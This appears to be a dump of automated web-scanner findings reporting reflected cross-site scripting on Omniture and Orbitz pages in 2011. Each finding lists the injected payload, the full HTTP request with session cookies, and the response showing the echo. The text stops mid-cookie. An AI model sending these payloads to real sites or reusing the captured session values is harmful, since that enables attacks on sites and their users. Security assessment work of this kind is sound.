<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Online Business Optimization Re ...[SNIP]... <!-- en/resources/cmo.com5d3c6--><script>alert(1)</script>d1f6d8d3f32 cached on 2 February 2011 at 21:43:13 PST (a17dd46e5961da0afa6606f67734ea4a) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload ceda8--><script>alert(1)</script>77d511f2a20 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/resources/guidesceda8--><script>alert(1)</script>77d511f2a20 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:17:00 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:17:00 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:17:00 GMT Content-Length: 31854 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:17:00 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Online Business Optimization Re ...[SNIP]... <!-- en/resources/guidesceda8--><script>alert(1)</script>77d511f2a20 cached on 2 February 2011 at 11:17:00 PST (34f6eab2241a2899356951a02eb517c0) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload 281bb--><script>alert(1)</script>0ee194500b6 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/resources/testimonials281bb--><script>alert(1)</script>0ee194500b6 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:17:33 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:17:33 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:17:33 GMT Content-Length: 31866 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:17:33 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Online Business Optimization Re ...[SNIP]... <!-- en/resources/testimonials281bb--><script>alert(1)</script>0ee194500b6 cached on 2 February 2011 at 11:17:33 PST (5ca9f9a071d44bf7365716719673262b) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload 6ad4f--><script>alert(1)</script>bc2fde1d0b7 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/resources/webinars6ad4f--><script>alert(1)</script>bc2fde1d0b7 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:17:20 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:17:20 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:17:20 GMT Content-Length: 31858 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:17:20 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Online Business Optimization Re ...[SNIP]... <!-- en/resources/webinars6ad4f--><script>alert(1)</script>bc2fde1d0b7 cached on 2 February 2011 at 11:17:20 PST (24bc74d0346debf7d72190ab850e31bd) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload e5e1e--><script>alert(1)</script>e164a61e40f was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/services/consultinge5e1e--><script>alert(1)</script>e164a61e40f HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:07:51 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:07:51 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:07:51 GMT Content-Length: 24408 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:07:51 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Online Business Optimization Pl ...[SNIP]... <!-- en/services/consultinge5e1e--><script>alert(1)</script>e164a61e40f cached on 2 February 2011 at 11:07:51 PST (02f78ce643b0a3ce8449c1fec5a9ea2b) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload ba886--><script>alert(1)</script>0a2fdf8ad23 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/services/esba886--><script>alert(1)</script>0a2fdf8ad23 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:07:43 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:07:43 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:07:43 GMT Content-Length: 24392 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:07:43 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Online Business Optimization Pl ...[SNIP]... <!-- en/services/esba886--><script>alert(1)</script>0a2fdf8ad23 cached on 2 February 2011 at 11:07:43 PST (bcf2ffd0e21aac4344dbdc9ba9119bf3) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload a1e55(a)b395539b8e was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /en/survey/5084a1e55(a)b395539b8e HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:58:36 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 05:58:36 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:58:36 GMT Content-Length: 4161 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:58:36 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Survey</title>
<m ...[SNIP]... <script language='javascript'> var surveyPrefix = ": SID: "; var surveyID=5084a1e55(a)b395539b8e; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into an HTML comment. The payload cb5f4--><script>alert(1)</script>23422c10eea was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /press/867cb5f4--><script>alert(1)</script>23422c10eea HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 06:08:03 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 06:08:03 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 06:08:03 GMT Content-Length: 32342 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 06:08:03 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Press Detail: New Adob ...[SNIP]... <!-- press/867cb5f4--><script>alert(1)</script>23422c10eea cached on 2 February 2011 at 22:08:03 PST (4d763a1de0558dab40ab3a5ed162b060) --> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9099e"><a>8d715d94b6c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /press/8679099e"><a>8d715d94b6c HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 06:06:09 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 06:06:09 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 06:06:09 GMT Content-Length: 22979 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 06:06:09 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Press Detail: Old Rele ...[SNIP]... <link rel="stylesheet" type="text/css" media="screen" href="http://style.omniture.com/stylesheet.css?lang=en§ion=8679099e"><a>8d715d94b6c&ignore_skin=0" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into an HTML comment. The payload dcde3--><script>alert(1)</script>75d5b2290fe was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /press/868dcde3--><script>alert(1)</script>75d5b2290fe HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 06:08:51 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 06:08:51 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 06:08:51 GMT Content-Length: 32252 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 06:08:51 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Press Detail: Adobe Ac ...[SNIP]... <!-- press/868dcde3--><script>alert(1)</script>75d5b2290fe cached on 2 February 2011 at 22:08:51 PST (0413084e7c46999031afb0b8836712d0) --> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 505df"><a>a4a1b0dff6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /press/868505df"><a>a4a1b0dff6 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 06:07:07 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 06:07:07 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 06:07:07 GMT Content-Length: 22975 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 06:07:07 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Press Detail: Old Rele ...[SNIP]... <link rel="stylesheet" type="text/css" media="screen" href="http://style.omniture.com/stylesheet.css?lang=en§ion=868505df"><a>a4a1b0dff6&ignore_skin=0" /> ...[SNIP]...
The value of the deal_id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 954c0"style%3d"x%3aexpression(alert(1))"4d82bd8d62a was submitted in the deal_id parameter. This input was echoed as 954c0"style="x:expression(alert(1))"4d82bd8d62a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /App/GDDC?deal_id=aeromexico-winter-fares\954c0"style%3d"x%3aexpression(alert(1))"4d82bd8d62a HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=E35A05AFA43F7428074770D0017AA45F; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Wed, 02 Feb 2011 16:11:58 GMT Content-Length: 184528
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-t ...[SNIP]... <Meta Name="DCSext.ndid" CONTENT="aeromexico-winter-fares\954c0"style="x:expression(alert(1))"4d82bd8d62a,NC"/> ...[SNIP]...
The value of the cnt request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 505c6"style%3d"x%3aexpression(alert(1))"6c0248732b6 was submitted in the cnt parameter. This input was echoed as 505c6"style="x:expression(alert(1))"6c0248732b6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /App/PerformMDLPDealsContent?deal_id=promotions&cnt=PRO505c6"style%3d"x%3aexpression(alert(1))"6c0248732b6&type=oa_qs HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; 